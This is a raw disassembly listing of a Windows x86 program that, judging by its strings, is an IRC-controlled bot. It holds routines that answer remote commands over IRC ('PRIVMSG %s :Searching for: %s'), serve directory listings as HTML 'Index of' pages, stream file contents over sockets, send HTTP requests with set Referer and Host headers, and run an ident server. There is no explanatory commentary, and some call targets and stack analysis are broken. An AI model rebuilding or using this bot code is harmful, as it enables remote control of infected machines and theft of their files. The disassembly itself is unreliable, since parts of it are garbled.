lea eax, [ebp+var_1654]
push edi
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_445398
cmp [ebp+var_A4], edi
jnz short loc_40DE9C
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40E80C
pop ecx
pop ecx
jmp short loc_40DEB9
; ---------------------------------------------------------------------------
loc_40DE9C: ; CODE XREF: sub_40DD58+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40E18A
add esp, 10h
loc_40DEB9: ; CODE XREF: sub_40DD58+142j
push [ebp+var_44C]
call dword_4453E0
push [ebp+var_B4]
call sub_40916F
pop ecx
push edi
nop
call near ptr 2700000h
pop edi
pop esi
sub_40DD58 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DEDA proc near ; CODE XREF: sub_40D8F7+3C6p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_417070
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40DF10
push eax
push offset aS_20 ; "\\%s"
jmp short loc_40DF19
; ---------------------------------------------------------------------------
loc_40DF10: ; CODE XREF: sub_40DEDA+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_21 ; "%s"
loc_40DF19: ; CODE XREF: sub_40DEDA+34j
lea eax, [ebp+var_10C]
push eax
call sub_4171D0
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_414BE0
test eax, eax
pop ecx
jbe short loc_40DFB4
mov [ebp+arg_8], 2
loc_40DF44: ; CODE XREF: sub_40DEDA+D8j
lea eax, [ebp+var_10C]
push eax
call sub_414BE0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_40DF84
cmp [ebp+esi+var_10C], 25h
jnz short loc_40DF84
cmp [ebp+esi+var_10B], 32h
jnz short loc_40DF84
cmp [ebp+esi+var_10A], 30h
jnz short loc_40DF84
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40DF9E
; ---------------------------------------------------------------------------
loc_40DF84: ; CODE XREF: sub_40DEDA+7Aj
; sub_40DEDA+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_40DF94
push 5Ch
pop eax
jmp short loc_40DF97
; ---------------------------------------------------------------------------
loc_40DF94: ; CODE XREF: sub_40DEDA+B3j
movsx eax, al
loc_40DF97: ; CODE XREF: sub_40DEDA+B8j
mov [ebp+ebx+var_210], al
loc_40DF9E: ; CODE XREF: sub_40DEDA+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_414BE0
cmp esi, eax
pop ecx
jb short loc_40DF44
loc_40DFB4: ; CODE XREF: sub_40DEDA+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_1 ; "%s%s"
push eax
call sub_4171D0
lea eax, [ebp+var_314]
push offset asc_440CD0 ; "\n"
push eax
call sub_417620
add esp, 18h
lea eax, [ebp+var_314]
push eax
nop
call near ptr 26B0C38h
push 1
cmp eax, 10h
pop esi
jz short loc_40E002
cmp eax, 0FFFFFFFFh
jnz short loc_40E005
push [ebp+arg_0]
jmp short loc_40E081
; ---------------------------------------------------------------------------
loc_40E002: ; CODE XREF: sub_40DEDA+11Cj
mov [ebp+var_4], esi
loc_40E005: ; CODE XREF: sub_40DEDA+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40E012
mov [ebp+var_4], esi
loc_40E012: ; CODE XREF: sub_40DEDA+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_40E08C
cmp [ebp+arg_C], edi
jz short loc_40E080
lea eax, [ebp+var_314]
push offset asc_440CD4 ; "*"
push eax
call sub_4184D0
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4171D0
lea eax, [ebp+var_210]
push eax
call sub_40E8C9
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_4171D0
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_40E0DB
; ---------------------------------------------------------------------------
loc_40E080: ; CODE XREF: sub_40DEDA+14Fj
push ebx
loc_40E081: ; CODE XREF: sub_40DEDA+126j
call dword_4453E0
jmp loc_40E183
; ---------------------------------------------------------------------------
loc_40E08C: ; CODE XREF: sub_40DEDA+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 2760000h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E0DB
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4171D0
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call near ptr 2750B9Bh
nop
push esi
mov [ebp+var_330], eax
call near ptr 267009Bh
nop
loc_40E0DB: ; CODE XREF: sub_40DEDA+1A4j
; sub_40DEDA+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_440CD8
push eax
call sub_4171D0
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_408E53
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_446214[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40DD58
push edi
push edi
call near ptr 26A08FFh
nop
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_446224[ecx], eax
jz short loc_40E155
loc_40E143: ; CODE XREF: sub_40DEDA+279j
cmp [ebp+var_318], edi
jnz short loc_40E183
push 5
nop
call near ptr 2690599h
jmp short loc_40E143
; ---------------------------------------------------------------------------
loc_40E155: ; CODE XREF: sub_40DEDA+267j
push ebx
call dword_4453E0
nop
call near ptr 26908EFh
push eax
lea eax, [ebp+var_8C4]
push offset unk_440D0C
push eax
call sub_4171D0
lea eax, [ebp+var_8C4]
push eax
call sub_410557
add esp, 10h
loc_40E183: ; CODE XREF: sub_40DEDA+1ADj
; sub_40DEDA+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40DEDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E18A proc near ; CODE XREF: sub_403038+2C08p
; sub_40DD58+159p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_417070
mov edi, [ebp+arg_0]
push offset asc_440D44 ; "\n"
push edi
call sub_417620
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_40E1E9
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_4172D0
add esp, 14h
jmp loc_40E2E6
; ---------------------------------------------------------------------------
loc_40E1E9: ; CODE XREF: sub_40E18A+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40E2CC
call sub_414BE0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_4172D0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_4172D0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
push edi
call sub_414BE0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_4172D0
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_4172D0
add esp, 0Ch
jmp short loc_40E2E6
; ---------------------------------------------------------------------------
loc_40E2CC: ; CODE XREF: sub_40E18A+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_4172D0
add esp, 10h
loc_40E2E6: ; CODE XREF: sub_40E18A+5Aj
; sub_40E18A+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
cmp [ebp+arg_C], ebx
jz short loc_40E37E
push [ebp+arg_C]
call sub_414BE0
cmp eax, 2
pop ecx
jbe short loc_40E37E
push [ebp+arg_C]
call sub_414BE0
sub eax, 3
pop ecx
jz short loc_40E332
loc_40E326: ; CODE XREF: sub_40E18A+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40E332
dec eax
jnz short loc_40E326
loc_40E332: ; CODE XREF: sub_40E18A+19Aj
; sub_40E18A+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_417770
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_4172D0
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
loc_40E37E: ; CODE XREF: sub_40E18A+17Ej
; sub_40E18A+18Cj
lea eax, [ebp+var_388]
push eax
push edi
nop
call near ptr 2790000h
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
nop
call near ptr 2780000h
test eax, eax
jz loc_40E76F
mov edi, 1FFh
loc_40E3AA: ; CODE XREF: sub_40E18A+5DFj
cmp [ebp+var_388], ebx
jz loc_40E757
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40E757
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_417870
pop ecx
test eax, eax
pop ecx
jz loc_40E757
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2770655h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 2770000h
nop
mov ax, [ebp+var_10]
mov ecx, offset aPm_0 ; "PM"
cmp ax, 0Ch
ja short loc_40E41F
mov ecx, offset aAm ; "AM"
loc_40E41F: ; CODE XREF: sub_40E18A+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_40E42B
sub eax, 0Ch
loc_40E42B: ; CODE XREF: sub_40E18A+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4171D0
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40E5D8
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40E4AC
lea eax, [ebp+var_35C]
push eax
push offset aS_22 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_4172D0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_4172D0
add esp, 28h
jmp loc_40E728
; ---------------------------------------------------------------------------
loc_40E4AC: ; CODE XREF: sub_40E18A+2DBj
cmp [ebp+arg_C], ebx
jz loc_40E596
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_4172D0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s/"
push edi
push eax
call sub_4172D0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
lea eax, [ebp+var_35C]
push eax
call sub_414BE0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40E54C
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40E551
; ---------------------------------------------------------------------------
loc_40E54C: ; CODE XREF: sub_40E18A+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40E551: ; CODE XREF: sub_40E18A+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_4172D0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40E719
; ---------------------------------------------------------------------------
loc_40E596: ; CODE XREF: sub_40E18A+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_23 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_4172D0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_40E5C3: ; CODE XREF: sub_40E18A+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_4172D0
add esp, 24h
jmp loc_40E728
; ---------------------------------------------------------------------------
loc_40E5D8: ; CODE XREF: sub_40E18A+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_40E602
push ebx
push [ebp+var_368]
call sub_411586
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_40E5C3
; ---------------------------------------------------------------------------
loc_40E602: ; CODE XREF: sub_40E18A+454j
cmp [ebp+arg_C], ebx
jz loc_40E702
push 0E6h
push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_4172D0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_3 ; "%s%s"
push edi
push eax
call sub_4172D0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
lea eax, [ebp+var_35C]
push eax
call sub_414BE0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_40E6A2
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40E6A7
; ---------------------------------------------------------------------------
loc_40E6A2: ; CODE XREF: sub_40E18A+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40E6A7: ; CODE XREF: sub_40E18A+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_4172D0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_4172D0
add esp, 1Ch
jmp short loc_40E728
; ---------------------------------------------------------------------------
loc_40E702: ; CODE XREF: sub_40E18A+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_40E719: ; CODE XREF: sub_40E18A+407j
lea eax, [ebp+var_248]
push eax
call sub_4172D0
add esp, 18h
loc_40E728: ; CODE XREF: sub_40E18A+31Dj
; sub_40E18A+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
cmp [ebp+arg_8], ebx
jz short loc_40E757
push 7D0h
nop
call near ptr 2690599h
loc_40E757: ; CODE XREF: sub_40E18A+226j
; sub_40E18A+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
nop
call near ptr 2780000h
test eax, eax
jnz loc_40E3AA
loc_40E76F: ; CODE XREF: sub_40E18A+215j
push [ebp+arg_0]
nop
call near ptr 276028Ah
cmp [ebp+arg_8], ebx
jz short loc_40E7B2
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_411586
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_411586
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4171D0
add esp, 14h
jmp short loc_40E7E6
; ---------------------------------------------------------------------------
loc_40E7B2: ; CODE XREF: sub_40E18A+5F1j
cmp [ebp+arg_C], ebx
jz short loc_40E7CC
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4171D0
pop ecx
pop ecx
jmp short loc_40E7E6
; ---------------------------------------------------------------------------
loc_40E7CC: ; CODE XREF: sub_40E18A+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4171D0
add esp, 10h
loc_40E7E6: ; CODE XREF: sub_40E18A+626j
; sub_40E18A+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_445398
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_40E18A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E80C proc near ; CODE XREF: sub_40DD58+13Bp
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
nop
call near ptr 2760000h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40E8C4
push esi
push ebx
call near ptr 2750B9Bh
nop
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_40E8BD
loc_40E851: ; CODE XREF: sub_40E80C+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_417070
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_40E86E
mov edi, [ebp+arg_4]
loc_40E86E: ; CODE XREF: sub_40E80C+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call near ptr 27A0000h
nop
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
nop
call near ptr 2730000h
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_445398
cmp eax, 0FFFFFFFFh
jnz short loc_40E8B8
call dword_4452DC
cmp eax, 2733h
jnz short loc_40E8BD
xor eax, eax
loc_40E8B8: ; CODE XREF: sub_40E80C+9Bj
sub [ebp+arg_4], eax
jnz short loc_40E851
loc_40E8BD: ; CODE XREF: sub_40E80C+43j
; sub_40E80C+A8j
push ebx
nop
call near ptr 267009Bh
loc_40E8C4: ; CODE XREF: sub_40E80C+30j
pop edi
pop esi
pop ebx
leave
retn
sub_40E80C endp
; =============== S U B R O U T I N E =======================================
sub_40E8C9 proc near ; CODE XREF: sub_40DEDA+17Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_414BE0
test eax, eax
pop ecx
jbe short loc_40E8F2
loc_40E8DC: ; CODE XREF: sub_40E8C9+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_40E8E6
mov byte ptr [esi+edi], 2Fh
loc_40E8E6: ; CODE XREF: sub_40E8C9+17j
push edi
inc esi
call sub_414BE0
cmp esi, eax
pop ecx
jb short loc_40E8DC
loc_40E8F2: ; CODE XREF: sub_40E8C9+11j
mov eax, edi
pop edi
pop esi
retn
sub_40E8C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8F7 proc near ; CODE XREF: sub_403038+4340p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_4452B8
push 6
push 1
push 2
call dword_4453C8
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417070
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_445348
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_402561
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4452F0
cmp eax, 0FFFFFFFFh
jz short loc_40E9D4
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_40E970
mov eax, offset dword_4D63AC
loc_40E970: ; CODE XREF: sub_40E8F7+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_4172D0
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_445398
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_4187B0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_445360
pop esi
loc_40E9D4: ; CODE XREF: sub_40E8F7+6Bj
push ebx
call dword_4453E0
call dword_4452A0
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4171D0
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_40EA14
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 14h
loc_40EA14: ; CODE XREF: sub_40E8F7+102j
pop edi
pop ebx
leave
retn
sub_40E8F7 endp
; ---------------------------------------------------------------------------
loc_40EA18: ; DATA XREF: ___:00402BD1o
; sub_403038+252Do
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp-1Ch]
push esi
push eax
mov [ebp-8], esi
call sub_417070
add esp, 0Ch
mov word ptr [ebp-1Ch], 2
push 71h
call dword_445348
push esi
push 1
push 2
mov [ebp-1Ah], ax
mov [ebp-18h], esi
call dword_4453C8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40EB79
mov eax, [ebp+8]
push edi
imul eax, 234h
mov dword_44621C[eax], ebx
lea eax, [ebp-1Ch]
push eax
push ebx
call dword_445374
cmp eax, 0FFFFFFFFh
jz loc_40EB79
push 5
push ebx
call dword_445370
cmp eax, 0FFFFFFFFh
jz loc_40EB79
mov [ebp-0Ch], edi
mov edi, 200h
loc_40EAA3: ; CODE XREF: ___:0040EB02j
; ___:0040EB62j ...
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
call dword_4453DC
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jz loc_40EB74
movzx eax, word ptr [ebp-2Ah]
push eax
push dword ptr [ebp-28h]
call dword_4453D4
push eax
lea eax, [ebp-238h]
push offset dword_44121C
push eax
call sub_4171D0
lea eax, [ebp-238h]
push eax
call sub_410557
add esp, 14h
lea eax, [ebp-238h]
push esi
push edi
push eax
push dword ptr [ebp-4]
call dword_445360
cmp eax, 0FFFFFFFFh
jz short loc_40EAA3
lea eax, [ebp-238h]
push esi
push eax
call sub_411B48
push 0Ch
lea eax, [ebp-38h]
push esi
push eax
call sub_417070
push esi
push esi
lea eax, [ebp-38h]
push 2
push eax
call sub_408B4C
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp-238h]
push edi
push eax
call sub_4172D0
add esp, 34h
lea eax, [ebp-238h]
push esi
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-4]
call dword_445398
cmp eax, 0FFFFFFFFh
jz loc_40EAA3
mov dword ptr [ebp-8], 1
jmp loc_40EAA3
; ---------------------------------------------------------------------------
loc_40EB74: ; CODE XREF: ___:0040EAB8j
cmp [ebp-8], esi
jnz short loc_40EBA0
loc_40EB79: ; CODE XREF: ___:0040EA5Fj
; ___:0040EA83j ...
call dword_4452DC
push eax
lea eax, [ebp-238h]
push offset dword_441260
push eax
call sub_4171D0
lea eax, [ebp-238h]
push eax
call sub_410557
add esp, 10h
loc_40EBA0: ; CODE XREF: ___:0040EB77j
push ebx
call dword_4453E0
push dword ptr [ebp-4]
call dword_4453E0
push dword ptr [ebp+8]
call sub_40916F
pop ecx
push esi
call near ptr 2700000h
nop
pop edi
pop esi
pop ebx
loc_40EBC3: ; DATA XREF: sub_403038+4D0Ao
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-150h]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp-14h]
push esi
push eax
call sub_417070
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-44h]
call dword_445348
push 6
push 1
push 2
mov [ebp-12h], ax
mov [ebp-10h], esi
mov [ebp-4], edi
call dword_4453C8
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz loc_40ED2F
mov ecx, [ebp-40h]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_44621C[ecx], eax
call dword_445258
lea eax, [ebp-14h]
push edi
push eax
push dword ptr [ebp+8]
call dword_445374
test eax, eax
jnz loc_40ED2F
push 0Ah
push dword ptr [ebp+8]
call dword_445370
test eax, eax
jnz loc_40ED2F
loc_40EC73: ; CODE XREF: ___:0040EC89j
